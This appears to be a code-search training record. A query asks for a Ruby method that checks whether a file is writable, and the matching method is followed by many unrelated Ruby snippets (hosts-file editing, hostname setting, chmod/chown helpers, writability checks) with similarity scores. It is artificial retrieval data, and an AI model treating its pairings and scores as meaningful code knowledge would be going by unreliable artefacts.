"def update_etc_hosts(old_hostname = nil)\n hosts = File.join(ct.rootfs, 'etc', 'hosts')\n return unless writable?(hosts)\n\n regenerate_file(hosts, 0644) do |new, old|\n old.each_line do |line|\n if (/^127\\.0\\.0\\.1\\s/ =~ line || /^::1\\s/ =~ line) \\\n && !includes_hostname?(line, ct.hostname)\n\n if old_hostname && includes_hostname?(line, old_hostname)\n new.puts(replace_host(line, old_hostname, ct.hostname))\n\n else\n new.puts(add_host(line.strip, ct.hostname))\n end\n\n else\n new.write(line)\n end\n end\n end\n end",
"def remove_line(line)\n\t\t@lines.delete(line)\n\tend",
"def remove_host(hostname, port=nil)\n hostname, port = normalize_address(hostname, port)\n connection = nil\n @lock.synchronize do\n index = @hosts.index { |h, p, _| h == hostname && p == port }\n if index\n @hosts.delete_at(index)\n if (conn = @connections.find { |c| c.host == hostname && c.port == port })\n connection = conn\n end\n end\n end\n if connection\n connection.close\n end\n Future.resolved(self)\n end",
"def line_content(line)\n\t\tline = line.split(\" \")\n\t\tline.delete_at(0)\n\t\treturn line\n\tend",
"def test_server_ip\n ip = `hostname -i`\n ip.gsub(\"\\n\", \"\")\n end",
"def add_host\n entry_line = \"#{ipaddress?} www.example.com test.example.com\"\n\n if open('/etc/hosts') { |f| f.grep(/^#{entry_line}$/).empty? }\n open('/etc/hosts', 'a') { |p| p.puts \"\\n#{entry_line}\" }\n end\n\n if open('/etc/hosts') { |f| f.grep(/^#{entry_line}$/).empty? }\n false\n else\n true\n end\nend",
"def normalized_host; end",
"def resolve_hostname_on(host, hostname)\n match = curl_on(host, \"--verbose #{hostname}\", accept_all_exit_codes: true).stderr.match(ipv4_regex)\n match ? match[0] : nil\n end",
"def remove_host(name)\n configure \"no logging host #{name}\"\n end",
"def hostname=(v)\n v = \"[#{v}]\" if !(v&.start_with?('[') && v&.end_with?(']')) && v&.index(':')\n self.host = v\n end",
"def rebuild_hosts_file(new_name, new_fqdn)\n\n # Get the old hosts file\n hosts_content = ssh.exec! \"cat /etc/hosts\"\n hosts = Hosts::File.parse(hosts_content)\n\n # Delete old entry if exist\n hosts.elements.each{ |element| hosts.elements.delete element if element.class == Hosts::Entry && element.address == public_ip }\n \n # Add the new entry\n hosts_entry = Hosts::Entry.new public_ip, new_fqdn, aliases: [new_name], comment: ' Generated by Appd'\n hosts.elements.insert(0, hosts_entry)\n ssh.write \"/etc/hosts\", content: hosts.to_s, sudo: true\n end",
"def unhost\n hosts_file_path = '/etc/hosts'\n hosts_file = File.read(hosts_file_path)\n return $stdout.puts 'Pow is not in the host file, and there is no backup file. Please run `powify server host`' unless hosts_file =~ /.+(#powify)/ || File.exists?(\"#{hosts_file_path}.powify.bak\")\n\n hosts_file = hosts_file.split(\"\\n\").delete_if { |row| row =~ /.+(#powify)/ } # remove any existing records\n\n File.open(hosts_file_path, 'w+') { |f| f.puts hosts_file.join(\"\\n\") }\n %x{sudo rm #{hosts_file_path}.powify.bak}\n\n %x{dscacheutil -flushcache}\n $stdout.puts \"All Pow apps were removed from the hosts file.\"\n end",
"def scrub(line)\n\t\t#remove any comments\n\t\tline = line.split('//')[0]\n\t\t#whitespace can be bad too\n\t\tline.strip!\n\tend",
"def update_hosts\n return unless File.exist?(hosts_path)\n return if File.readlines(hosts_path)\n .grep(/#{new_fqdn} #{new_hostname}/)\n .any?\n hosts_body = File.read(hosts_path).gsub(\n /^127\\.0\\.0\\.1.*/,\n \"127\\.0\\.0\\.1 #{new_fqdn} #{new_hostname} localhost\"\n )\n puts \"Adding \\\"#{new_fqdn}\\\" to #{hosts_path}...\"\n write_file(hosts_path, hosts_body)\n end",
"def parse_hostname(config)\n mdata = /(?<=^hostname\\s)(.+)$/.match(config)\n { hostname: mdata.nil? ? '' : mdata[1] }\n end",
"def de_duplicate\n\t\t\t@known_hosts.keys.map do |key|\n\t\t\t\tip=@known_hosts[key]\n\t\t\t\tif @known_ips.key?(ip)\n\t\t\t\t\t@known_hosts.delete(key)\n\t\t\t\telse\n\t\t\t\t\t@known_ips[ip]=true\n\t\t\t\tend\n\t\t\tend\n\t\tend",
"def unregister_host(hostname,uri=nil)\n uri,hostname=Controller::rename_uri_and_host(uri,hostname)\n open_fds=lsof.length\n unregistered=false\n @vp_lock.synchronize do\n if uri.nil? or @hostname2uri[hostname]==uri\n @hostname2vp.delete(hostname)\n @hostname2uri.delete(hostname)\n unregistered=true\n end\n end\n if unregistered\n log { \"Unregistered #{hostname}: #{vp_count} total, #{open_fds} of #{self.ulimit} FDs\" }\n else\n log { \"Not unregistering #{hostname}: given URI #{uri} does not match stored one #{@hostname2uri[hostname]}\" }\n end\n end",
"def remove_name_server(server)\n configure \"no ip name-server #{server}\"\n end",
"def remove_alias(ip)\n cmd(\"addr del #{ip}/#{prefix} dev #{name}\")\n unless name == 'eth0' || !cmd(\"rule list\").match(/([0-9]+):\\s+from #{ip} lookup #{route_table}/)\n cmd(\"rule delete pref #{$1}\")\n end\n end",
"def decode_hostname(hostname); end",
"def fqdn=(name)\n rebuild_host_file(hostname, name) if fqdn != name\n end",
"def host=(host)\n @hosts = nil\n @host = host\n end",
"def hostname=(name)\n if hostname != name\n rebuild_host_file(name, fqdn)\n ssh.exec! \"hostname #{name}\", sudo: true\n ssh.exec! \"echo #{name} > /etc/hostname\", sudo: true\n end\n end",
"def set_hostname\n return unless File.exist?(hostname_path)\n return if File.read(hostname_path).strip == new_hostname\n puts \"Setting local hostname (#{new_hostname})...\"\n write_file(hostname_path, new_hostname)\n `hostname -F /etc/hostname`\n end",
"def all_hosts_in(file)\n servers = []\n file.each do |line|\n if line.include?('Host ')\n servers << line.sub('Host ', '').strip\n end\n end\n servers\n end",
"def hostname\n v = self.host\n v&.start_with?('[') && v.end_with?(']') ? v[1..-2] : v\n end",
"def remove_lines(f)\n open(f, 'r') do |f1|\n open(\"#{f}.tmp\", 'w') do |f2|\n f.each_line do |line|\n f2.write(line) unless line.start_with? \"centos-7\"\n end\n end\n end\nend",
"def remove(host, plataform)\n @plataforms[plataform].rem(host)\n end",
"def unmanage_host(host)\n curl = setup_curl(\"#{@foreman_url}/api/hosts/#{host}\", true)\n curl.headers['Accept'] = 'application/json,version=2'\n curl.headers['Content-Type'] = 'application/json'\n host_settings = {}\n host_settings[:host] = {}\n host_settings[:managed] = false\n host_settings_json = host_settings.to_json\n curl.http_post(host_settings_json)\n result = JSON.parse(curl.body_str)\n raise result['message'] if result['message'] =~ /^ERF51/\n result\n end",
"def update(options = {})\n if entry = find_entry_by_ip_address(options[:ip_address])\n entry.hostname = options[:hostname]\n entry.aliases = options[:aliases]\n entry.comment = options[:comment]\n entry.priority = options[:priority]\n\n remove_existing_hostnames(entry) if options[:unique]\n end\n end",
"def update_hostname(name)\n File.open(File.join(KVM_MOUNT_POINT, name, 'etc', 'hostname'), 'w') do |file|\n file.puts name.split('.').first\n end\nend",
"def parse_logline(line) \n line.strip!\n split_line = line.split(/\\|/)\n addr = split_line[0].split(',').last.strip\n\n unless (addr =~ /[\\s|\\-]+/) \n @dns_map.synchronize do\n addr = @dns_map[addr] if @dns_map.include? addr\n end\n details = {}\n details[:upstream_response_time] = split_line[1].split(',').last.strip.to_f\n details[:time_local] = DateTime.strptime(split_line[2], '%d/%b/%Y:%H:%M:%S %Z')\n details[:status] = split_line[3].to_i\n details[:request_length] = split_line[4].to_i\n details[:body_bytes_sent] = split_line[5].to_i\n\n\n @log_entries.synchronize do\n @log_entries[addr] << details\n end\n end \n end",
"def parse_host(hostname)\n return nil if hostname.blank?\n\n begin\n return IPAddr.new(hostname)\n rescue IPAddr::InvalidAddressError\n end\n\n hostname\n end",
"def delete_pre_address(address)\n address = address.sub(/^\\s*mail\\:\\s*/i, '')\n address.gsub(/.*\\,\\s+(\\d+\\b\\s+\\w)/i, '\\1')\n end",
"def canonicalize_hostname(hostname)\n Addrinfo.getaddrinfo(hostname, nil, nil, nil, nil, Socket::AI_CANONNAME).first.canonname\n end",
"def hostname\n @hostname ||= `hostname`.strip\n end",
"def update_etc_hosts\n comm = machine.communicate\n network_with_hostname = machine.config.vm.networks.map {|_, c| c if c[:hostname] }.compact[0]\n if network_with_hostname\n replace_host(comm, new_hostname, network_with_hostname[:ip])\n else\n add_hostname_to_loopback_interface(comm, new_hostname)\n end\n end",
"def hostname\n raise 'empty hostname, something wrong' if @in_hostname.empty?\n @in_hostname\n end",
"def setEtcHostEntry(host)\n\n bash \"/etc/hosts #{host}\" do\n code \"echo '127.0.0.1 #{host} # added by Chef' >> /etc/hosts\"\n only_if { `grep '127.0.0.1 #{host} # added by Chef' /etc/hosts`.to_s.empty? }\n end\n\n end",
"def fqdn_correct?(host_name, domain_name, ip_addr)\n cmd_if %{egrep -q '^#{ip_addr}[[:space:]]+#{host_name}.#{domain_name}' /etc/hosts >/dev/null}\nend",
"def clean_up()\n @lines.each { |line| line.delete!(' ') }\n @lines.delete_if { |line| line.start_with?(\"//\") }\n @lines.each { | line| line.chomp! }\n @lines.delete_if { |line| line.empty? }\n @lines = @lines.map { |line| line.split(\"//\")[0] }\n end",
"def parse_list_server_lines(lines)\n result = Array.new\n lines.each do |l|\n result << l.split(\"-\")[0].strip\n end\n return result\n end",
"def delete_unlocked_servers\n edit_lines_in_file { |lines| lines.reject! { |line| /^[!a-zA-Z0-9].*$/ === line } }\n return true\n end",
"def xe_get_host_uuid(name) \n xe_open(\"xe host-list name-label=#{name}\").each do |line|\n if line =~ /uuid.*:\\s(.*)$/\n return $1\n end\n end\nend",
"def reset_external_host()\n instances = $ec2.describe_instances([self.id])\n if instances.length == 0\n raise UserError, \"Instance was not found when resetting external_host\"\n end\n self.external_host = instances[0][:dns_name]\n self.save()\n end",
"def get_host_without_www(url)\n url = \"http://#{url}\" unless url.start_with?('http')\n uri = URI.parse(url)\n host = uri.host.downcase\n host.start_with?('www.') ? host[4..-1] : host\n end",
"def update_etc_hosts(old_hostname = nil)\n path = File.join(ct.rootfs, 'etc', 'hosts')\n return unless writable?(path)\n\n hosts = EtcHosts.new(path)\n\n if old_hostname\n hosts.replace(old_hostname, ct.hostname)\n else\n hosts.set(ct.hostname)\n end\n end",
"def unformat(line)\n return line.gsub(/.\\010/, '')\nend",
"def fqdn\n ssh.exec!(\"hostname --fqdn\").chomp\n end",
"def set_etc_hostname( name )\n sudo <<-SH\n if [ ! -e /etc/hostname -o \"$(< /etc/hostname)\" != \"#{name}\" ]; then\n echo #{name} > /etc/hostname\n hostname #{name}\n fi\n SH\n end",
"def fqdn\n exit_code, stdout = ssh.exec(\"hostname --fqdn\")\n (exit_code == 0) ? stdout.chomp : \"\"\n end",
"def lkey_strip(hdrs)\n hdrs.split(\": \")[0].downcase.gsub(\"-\", \"\").to_s.strip\n end",
"def getLineFromString(line)\n return line.slice!(line.index(\"\\#~~!!\") + 6)\nend",
"def hostname\n if (host = @host.at('tag[name=host-fqdn]'))\n host.inner_text\n end\n end",
"def restore_local_hosts(project_name)\n `sudo cp #{local_hosts_path}/hosts_before_#{project_name} #{local_hosts_path}/hosts`\n `sudo rm #{local_hosts_path}/hosts_before_#{project_name}`\n end",
"def strip_http(url = '')\n return url.gsub('http://', '')\n end",
"def get_host_without_www(url)\n url = \"http://#{url}\" if URI.parse(url).scheme.nil?\n host = URI.parse(url).host.downcase\n host.start_with?('www.') ? host[4..-1] : host\n end",
"def canonical_instance_host(opennebula_instance)\n fail 'Instance object not provided!' unless opennebula_instance\n hosts = []\n\n opennebula_instance.each('HISTORY_RECORDS/HISTORY') { |history| hosts << history['HOSTNAME'] }\n hosts.compact!\n\n Egi::Fedcloud::Vmhound::Log.debug \"[#{self.class}] Assigning hosts #{hosts.inspect} \" \\\n \"to #{opennebula_instance['ID'].inspect}\"\n hosts.last\n end",
"def lookup_hostname(host)\n Socket.getaddrinfo(host, nil, nil, Socket::SOCK_STREAM)[0][3]\n rescue SocketError\n raise(InvalidHostname, Errstr::INVALID_HOST % host)\n end",
"def hostname\n Resolv.getname(ip_address) rescue nil\n end",
"def hostname_correct?(host_name)\n host_name == capture(%{hostname}).chomp\nend",
"def host_delete(host)\n curl = setup_curl(\"#{@foreman_url}/api/hosts/#{host}\", true)\n curl.http_delete\n end",
"def filter_off(ip, line, input, vp_hash)\n\tprocess_line(ip, find_elem(line, 3), find_elem(line, 2), vp_hash)\n # while there is still data, and while the IP of next\n # is the same as this IP, yield statement\n while nex = input.gets and find_elem(nex).eql?(ip)\n #yield the VP (index 3) and IP (index 1)\n\t\tprocess_line(ip, find_elem(nex, 3), find_elem(nex, 2), vp_hash)\n end\n #return the line that contains the first different prefix\n nex\nend",
"def hostname\n @hostname ||= `hostname`.chomp\n end",
"def hostname\n @hostname ||= ENV['HOSTNAME'] || `hostname`.delete(\"\\n\")\n end",
"def clear(line, c=\".\")\n\tline.each_index do |i|\n\t\tline[i] = c\n\tend\nend",
"def local_hosts_entry\n \"127.0.0.1 #{name}\\n127.0.0.1 localhost.localdomain localhost ubuntu\"\n end",
"def host_from_fqdn(question)\n domains.each do |domain|\n dd = dotted_domain(domain)\n if question.index(dd)\n host = question[0, question.index(dd)]\n end\n end\n nil\n end",
"def hashify_header(hash, line)\n return nil if line.nil? || line.strip.empty?\n key, value = line.split(':')\n hash[convert_key(key)] = value.strip.chomp\n end",
"def name=(new_name)\n rebuild_hosts_file(new_name, fqdn)\n ssh.exec! \"hostname #{new_name}\", sudo: true\n ssh.exec! \"echo #{new_name} > /etc/hostname\", sudo: true\n end",
"def sanitize_readline_history(line)\n return unless readline_supported? \n # Strip out empty lines\n Readline::HISTORY.pop if line.match(/^\\s*$/)\n # Remove duplicates\n Readline::HISTORY.pop if Readline::HISTORY[-2] == line rescue IndexError\n end",
"def determine_hostname\n @info[:hostname] = @shell.query('HOST', 'hostname')\n end"
] |
[
"0.6867215",
"0.66918683",
"0.66733414",
"0.6657802",
"0.6633702",
"0.66149694",
"0.66008675",
"0.64658237",
"0.62012243",
"0.6187825",
"0.61033654",
"0.60580856",
"0.6046851",
"0.5959034",
"0.5903639",
"0.58907056",
"0.58279264",
"0.5779136",
"0.57771736",
"0.5760028",
"0.5745565",
"0.5703166",
"0.5644823",
"0.5615742",
"0.56058824",
"0.5591191",
"0.555247",
"0.55140436",
"0.55059236",
"0.5504891",
"0.5475983",
"0.54708856",
"0.5459869",
"0.5454037",
"0.5415594",
"0.5390437",
"0.5384839",
"0.53790766",
"0.5359023",
"0.53567576",
"0.5344977",
"0.53441626",
"0.53370345",
"0.53259873",
"0.5300844",
"0.52843636",
"0.5266268",
"0.52531636",
"0.52332926",
"0.5225697",
"0.52237195",
"0.5194595",
"0.51890093",
"0.5179098",
"0.5169279",
"0.5152275",
"0.51185423",
"0.51129264",
"0.5105514",
"0.5089485",
"0.50881296",
"0.5087676",
"0.50846404",
"0.5068462",
"0.5064678",
"0.5044745",
"0.5032619",
"0.5030944",
"0.50263625",
"0.5012923",
"0.5003007",
"0.4997195",
"0.49919558",
"0.4980701",
"0.49660498",
"0.49555725",
"0.49492538",
"0.49473923",
"0.49472177",
"0.49457648",
"0.4943726",
"0.49409178",
"0.49406177",
"0.4933837",
"0.49233896",
"0.49204147",
"0.49127966",
"0.4908554",
"0.49067268",
"0.48972484",
"0.4896655",
"0.48854342",
"0.4884522",
"0.48831013",
"0.48814467",
"0.48757347",
"0.48745736",
"0.4874259",
"0.48710197",
"0.4866271"
] |
0.70167303
|
0
|
Check if the file at `path` si writable by its user If the file doesn't exist, we take it as writable. If a block is given, it is called if `path` is writable.
|
def writable?(path)
begin
return if (File.stat(path).mode & 0200) != 0200
rescue Errno::ENOENT
# pass
end
yield(path) if block_given?
true
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def check_writable(path)\n raise Error, \"The path '#{path}' is not writable\" if (path.exist? && !path.writable?) || !path.parent.writable?\n end",
"def writable?(path)\n info = Private.info_with(path, GLib::G_FILE_ATTRIBUTE_ACCESS_CAN_WRITE)\n GLib.g_file_info_get_attribute_boolean(info, GLib::G_FILE_ATTRIBUTE_ACCESS_CAN_WRITE)\n end",
"def writable_file(path)\n path = File.expand_path(path)\n begin\n FileUtils.mkdir_p(File.dirname(path), :mode => 0755)\n FileUtils.touch path\n File.chmod(0644, path)\n rescue Errno::EACCES, Errno::EISDIR\n end\n unless File.file?(path) && File.writable?(path)\n raise ServiceError, \"unable to open file: #{path} (check permissions)\"\n end\n path\n end",
"def can_write?(path)\n return false unless Process.uid == FuseFS.reader_uid\n base, rest = split_path(path)\n case\n when base.nil?\n true\n when rest.nil?\n true\n when ! @subdirs.has_key?(base)\n false\n else\n @subdirs[base].can_write?(rest)\n end\n end",
"def can_write?(path)\n #return false unless Process.uid == FuseFS.reader_uid\n base, rest = split_path(path)\n case\n when base.nil?\n true\n when rest.nil?\n true\n when ! @subdirs.has_key?(base)\n false\n else\n @subdirs[base].can_write?(rest)\n end\n end",
"def writable?(path)\n raise \"`writable?' method does not support Windows systems\" if session.platform == 'windows'\n\n cmd_exec(\"test -w '#{path}' && echo true\").to_s.include? 'true'\n end",
"def remove_read_permission(path)\n mode=path.stat.mode\n path.chmod(mode ^ 0444) # Remove read permissions.\n begin assert_nothing_raised{yield}\n ensure path.chmod mode end\n end",
"def open_for_write(path)\n dir = Pathname.new(path).dirname\n FileUtils.mkdir_p(dir) unless File.exist?(dir)\n File.open(path, 'w') do |f|\n yield f\n end\n end",
"def is_readable?(path)\n File.exists? path and File.readable? path\n end",
"def create(path, &block)\n if File.file?(path)\n raise Errno::EEXIST, path\n end\n \n FileUtils.mkdir_p(File.dirname(path))\n FileUtils.touch(path)\n \n if block_given?\n begin yield file = File.open(path, 'w')\n ensure file.close\n end\n end\n end",
"def is_write_path?\n !!(path_info =~ WRITE_PATH_RE)\n end",
"def with_hold_file(access_mode = 'r', &block)\n return unless @path\n\n if @path.is_a?(String)\n File.open(@path, access_mode, &block)\n else\n yield @path\n end\n end",
"def writable?(path)\n f=\"#{path}\\\\#{Rex::Text.rand_text_alphanumeric(4..8)}.txt\"\n words = Rex::Text.rand_text_alphanumeric(9)\n begin\n # path needs to have double, not single quotes\n c= %Q(cmd.exe /C echo '#{words}' >> \"#{f}\" && type \"#{f}\" && del \"#{f}\")\n cmd_exec(c).to_s.include? words\n rescue Rex::Post::Meterpreter::RequestError => e\n false\n end\n end",
"def chown(path, owner = nil, group = nil, &block)\n add Config::Patterns::Chown do |p|\n p.path = path\n p.owner = owner if owner\n p.group = group if group\n yield p if block_given?\n end\n end",
"def update_file(path, &block)\n original_mtime = File.exist?(path) ? File.mtime(path) : Time.at(0)\n new_time = original_mtime + 1\n File.open(path, 'w', &block)\n File.utime(new_time, new_time, path)\n end",
"def in_path(path, &block)\n if path\n Dir.chdir(path, &block)\n else\n block.call\n end\n end",
"def readable?(path)\n info = Private.info_with(path, GLib::G_FILE_ATTRIBUTE_ACCESS_CAN_READ)\n GLib.g_file_info_get_attribute_boolean(info, GLib::G_FILE_ATTRIBUTE_ACCESS_CAN_READ)\n end",
"def writable?\n transient? || (filename && filename.writable?)\n end",
"def get_file(path, &block)\n path = Pathname.new(path).cleanpath\n if fs.file?(path)\n yield fs.get_file(path)\n else\n yield false\n end\n end",
"def user_writable?(mode)\n mode & 00200 == 00200\n end",
"def chmod(path, mode = nil, &block)\n add Config::Patterns::Chmod do |p|\n p.path = path\n p.mode = mode if mode\n yield p if block_given?\n end\n end",
"def hypothetically_writable?\n writable_real? || (!exists? && !root? && parent.hypothetically_writable?)\n end",
"def poll_writable?\n false\n end",
"def poll_writable?\n true\n end",
"def writable?\n current_user_role_names.each do |role_name|\n return true if Filesystem.test_dir role_name, self, :write\n end\n false\n end",
"def file_chk( path )\n if File.exist?( path ) == false\n raise JackRDF_Critical, \"#{path} is not a valid file\"\n end\n end",
"def open_and_save_file(path, value = nil, &block)\n # Make sure the directory up to the folder exists\n mkdir_p File.dirname(path)\n # Open the file and use either the block or the value to write the\n # file\n File.open path, 'w' do |f|\n if block_given?\n f.write(yield)\n else\n f.write(value)\n end\n end\nend",
"def chown(path, owner); raise NotImplementedError; end",
"def is_writable?\n any?(&:writable?)\n end",
"def check_file(path)\n raise Error, \"The path '#{path}' does not exist or is not a file\" unless path.file? || attrs[:exists] == false\n end",
"def check_for fn\n File.readable?( fn ) && fn\n end",
"def write_to(path)\n if !File.exists?(path)\n FileUtils.mkdir_p(path)\n else\n raise FileExists.new(\"#{path} already exists\")\n end\nend",
"def permissions_for_web_writable(aPath)\n\t\trun \"#{sudo} chmod -R g+w #{MiscUtils.append_slash(aPath)}\"\n\tend",
"def touch(path, mode = 0o755)\n FileUtils.touch path\n FileUtils.chmod mode, path\n end",
"def valid_file_path?(path)\n path && File.exist?(path) && File.readable?(path)\n end",
"def check_key_permissions(key_path)\n # Windows systems don't have this issue\n return if Mario::Platform.windows?\n\n stat = File.stat(key_path)\n\n if stat.owned? && file_perms(key_path) != \"600\"\n File.chmod(0600, key_path)\n\n raise Errors::SSHKeyBadPermissions, :key_path => key_path if file_perms(key_path) != \"600\"\n end\n rescue Errno::EPERM\n # This shouldn't happen since we verify we own the file, but just\n # in case.\n raise Errors::SSHKeyBadPermissions, :key_path => key_path\n end",
"def perform_write(path:, content:)\n File.open(path, file_mode) do |file|\n if file.respond_to?(:test_write)\n file.test_write(content, path)\n else\n file.write(content)\n end\n end\n end",
"def perform_write(path:, content:)\n File.open(path, file_mode) do |file|\n if file.respond_to?(:test_write)\n file.test_write(content, path)\n else\n file.write(content)\n end\n end\n end",
"def subdir_is_writable?\n Medium.path_is_writeable?(thumbnail_path)\n end",
"def can_write_to_dir dir, create\n\n begin\n stat = File.stat(dir)\n return true if stat && stat.writable?\n rescue Errno::ENOENT\n end\n\n # create and try again if it doesn't exist\n if create\n begin\n FileUtils.mkdir_p dir\n #FileUtils.chmod 0644, dir \n result = can_write_to_dir dir, false\n puts \"Created #{dir}\" if result\n return result\n rescue Errno::EACCES\n end\n end\n\n return false\n end",
"def write_if_missing\n unless path.exist?\n write_example\n yield pretty_path if block_given?\n end\n end",
"def put_file(path, data, &b)\n path = Pathname.new(path).cleanpath\n dir = path.dirname\n filename = path.basename\n if fs.directory?(dir) and filename\n fs.put_file(path, data)\n yield data.size\n else\n yield false\n end\n end",
"def handle(path)\n File.exist?(path) ? attach(path) : failed!\n end",
"def handle(path)\n File.exist?(path) ? attach(path) : failed!\n end",
"def handle(path)\n File.exist?(path) ? attach(path) : failed!\n end",
"def open(path, &block)\n @io = File.open(path, 'r+') # TODO: r+ will create the file if it doesn't exist =( Do a exists? check before this and simply return nil? Or raise error? I hate errorrrs\n sleep(0.1) until !@io.eof?\n\n @io.readbyte # Sync\n\n if block_given?\n yield(self)\n\n close\n end\n\n self\n end",
"def user_path?(file); end",
"def writable?() end",
"def write_to_disk(path)\n path.dirname.mkpath unless path.dirname.exist?\n self.defined_in_file = path\n # rubocop:disable Lint/RescueException\n # rubocop:disable Lint/HandleExceptions\n begin\n existing = Lockfile.from_file(path)\n return if existing == self\n rescue Exception\n end\n path.open('w') { |f| f.write(to_yaml) }\n # rubocop:enable Lint/HandleExceptions\n # rubocop:enable Lint/RescueException\n end",
"def consume_writable(&callback)\n synchronize do\n bool = callback.call\n if @nonblock_writable != bool\n @nonblock_writable = bool\n writable_resource.signal\n end\n end\n end",
"def when_accesible(filename, &block)\n until accesible(filename)\n sleep(0.01)\n end\n yield\nend",
"def chown(path, owner, options = {})\n paths = glob(path, options)\n owner = Etc.getpwnam(owner)\n changed = false\n\n paths.each do |f|\n stat = File.stat(f)\n unless stat.uid == owner.uid && stat.gid == owner.gid\n old_owner = \"#{Etc.getpwuid(stat.uid).name}:#{Etc.getgrgid(stat.gid).name}\"\n puts \"Changing owner of #{f} from #{old_owner} to #{owner.name}:#{owner.name}\"\n File.chown(owner.uid, owner.gid, f)\n changed = true\n end\n end\n\n @changed ||= changed\n changed\n end",
"def writable?(base)\n info = nil\n\n begin\n info = query(base)\n rescue\n end\n\n if ((info != nil) &&\n (info['Available'] == false) &&\n (info['Protect'] & PROT_WRITE == PROT_WRITE))\n return true\n end\n\n return false\n end",
"def check_file_exist(path)\n raise \"Cannot find: #{path}\" unless File.exist?(path)\n end",
"def immutable?(path)\n raise \"`immutable?' method does not support Windows systems\" if session.platform == 'windows'\n\n attributes(path).include?('Immutable')\n end",
"def is_writable_dir?(dir)\n unless File.directory? dir\n return false\n end\n\n result = true\n\n begin\n temp_file = Tempfile.new(\"dummy-shogi-server\", dir)\n temp_file.close true\n rescue\n result = false\n end\n\n return result\nend",
"def set_mode\n # Why are we trying to set_mode when we don't even have a file?\n return false if !@file\n File.chmod @mode, @file if File.exist? @file\n\n # the backup file may not exist for whatever reason, lets not shit if it doesn't.\n return true if !backup_file\n File.chmod @mode, backup_file if File.exist? backup_file\n true\n end",
"def uptodate?(path)\n fileutils.uptodate?(path, to_a)\n end",
"def editing_forbidden_files(path)\n if ['.passwd', 'nouveau_mdp.txt'].include?(path) || File.basename(Dir.getwd) == 'MOTS_DE_PASSE'\n puts \"Tu n'as pas le droit d'éditer des fichiers mots de passe.\".red\n return true\n end\n\n false\n end",
"def open path, mode=\"r\", &blk\n end",
"def lock(&block)\n result = nil\n File.open(path + 'f.lock', 'w') do |fd|\n if fd.flock(File::LOCK_EX)\n begin\n result = block.call\n ensure\n fd.flock(File::LOCK_UN)\n end\n end\n end\n result\n end",
"def open path, mode=\"r\", &blk\n end",
"def protected_write_to_path(path, io)\n #TODO check that the file join below winds up inside the content directory, e.g. if '..' or the like are used\n #TODO write in a way that doesn't require us to read the whole io stream at once\n backup_file = nil\n with_content_path_for(path) do |content_path|\n FileUtils.mkdir_p(File.dirname(content_path))\n if File.exists?(content_path)\n backup_file = File.join(Bag.tmp_directory, UUID.generate)\n FileUtils.move(content_path, backup_file)\n end\n File.open(File.join(self.path, path), 'w:binary') do |f|\n f.write(io.read)\n end\n if block_given?\n Version.transaction do |t|\n begin\n yield\n rescue Exception\n t.rollback\n File.delete(content_path) if File.exists?(content_path)\n FileUtils.move(backup_file, content_path) if backup_file and File.exists?(backup_file)\n raise\n end\n end\n end\n end\n ensure\n File.delete(backup_file) if backup_file and File.exists?(backup_file)\n end",
"def writable?\n self['WritableVolume']\n end",
"def open(path, &block)\n # :nocov:\n raise(Errno::ENOENT, path)\n # :nocov:\n end",
"def stub_unreadable_file(path)\n double('stat', readable?: false, file?: true).tap do |double|\n allow(Bolt::Util).to receive(:file_stat).with(path).and_return(double)\n end\n end",
"def loadable?(path)\n return false unless File.exists? path\n\n @stat = File.stat path\n @stat.file? and @stat.readable?\n end",
"def write(path)\n # TODO: should start locking write process\n Writer.new(self, path).write\n end",
"def writable?\n (mode & P_USR_W) != 0 || (mode & P_GRP_W) != 0 || (mode & P_OTH_W) != 0\n end",
"def adjust(path, permissions)\n\n # chowns all run user files to the sftp user\n with_tempfile do |tf|\n sudo(run_user_uid,group_gid) do\n cmd(\"find #{shellescape(path)} -user #{options['run_user']} -type d > #{tf}\")\n cmd(\"find #{shellescape(path)} -user #{options['run_user']} -type f >> #{tf}\")\n end\n on_filelist(File.read(tf),run_user_uid) do |p|\n FileUtils.chown( options['sftp_user'], options['group'], p)\n end\n end\n # chmod runs as sftp user, which should own all the relevant files now\n sudo(sftp_user_uid,group_gid) do\n cmd(\"chmod -R #{permissions} #{shellescape(path)}\")\n end\n log \"Adjusted #{path} with #{permissions} and #{options['sftp_user']}:#{options['group']}\"\nrescue => e\n log \"Error while adjusting path #{path}: #{e.message}\"\nend",
"def file(options={}, &block)\n if !@sftp.is_a?(ZTK::SSH)\n # Massage for Net::SSH\n flags = (options[:flags] || 'w')\n mode = (options[:mode] || nil)\n\n target = options[:target]\n chown = options[:chown]\n chmod = options[:chmod]\n\n @sftp.file.open(target, flags, mode) do |file|\n yield(file)\n end\n\n chown.nil? or self.exec(%(chown -v #{chown} #{target}))\n chmod.nil? or self.exec(%(chmod -v #{chmod} #{target}))\n else\n # Pass-through for ZTK:SSH\n @sftp.file(options, &block)\n end\n end",
"def synchronize(path)\n path = File.join(Dir.tmpdir, \"#{Rip.md5(path)}.lock\")\n file = File.new(path, 'w+')\n file.flock(File::LOCK_EX)\n yield\n ensure\n file.flock(File::LOCK_UN)\n file.close\n # We can't safely cleanup the lock file. This litters tmp with\n # lock files. Not a big deal but we could do better.\n end",
"def validate_is_writable\n errors.add_on_empty 'is_writable'\n end",
"def test_stat_modifications\n @client.write(@file, '')\n\n [0745, 0600, 0443].each do |mode|\n @client.chmod(@file, mode)\n assert_equal mode, @client.stat(@file, refresh: true).mode\n end\n end",
"def writable?\n !(@settings[:user].nil?)\n end",
"def check_writable(filename, constant_name)\n unless File.writable?(filename)\n raise MarkUsConfigError(\"The setting #{constant_name} with path #{filename} is not writable.\")\n end\n end",
"def set_mode\n FileUtils.chmod options[:mode], options[:file] if options[:mode] && File.exist?(options[:file])\n\n return true if !backup_file\n FileUtils.chmod options[:mode], backup_file if File.exist? backup_file\n return true\n end",
"def checkUserFileAccess(userName, filePath)\n return false if filePath.end_with?(\".access\")\n if(userExists(userName))\n\n fAccess = filePath+\".access\"\n if File.exist?(fAccess)\n return checkFileAccess(userName, filePath, fAccess)\n else\n return checkUserDirectoryAccess(userName,filePath[0..filePath.rindex(@FS)])\n end\n end\n return false\n\n end",
"def modified?(path); end",
"def try_file(fn)\n return fn if File.writable?(fn)\n return nil if File.exist?(fn)\n dir = File.dirname(fn)\n if ! File.exist? dir\n\tbegin\n\t FileUtils.mkdir_p(dir)\n\trescue RuntimeError\n\t return nil\n\tend\n end\n if File.writable?(dir)\n\tFileUtils.touch fn\n\treturn fn\n end\n nil\n end",
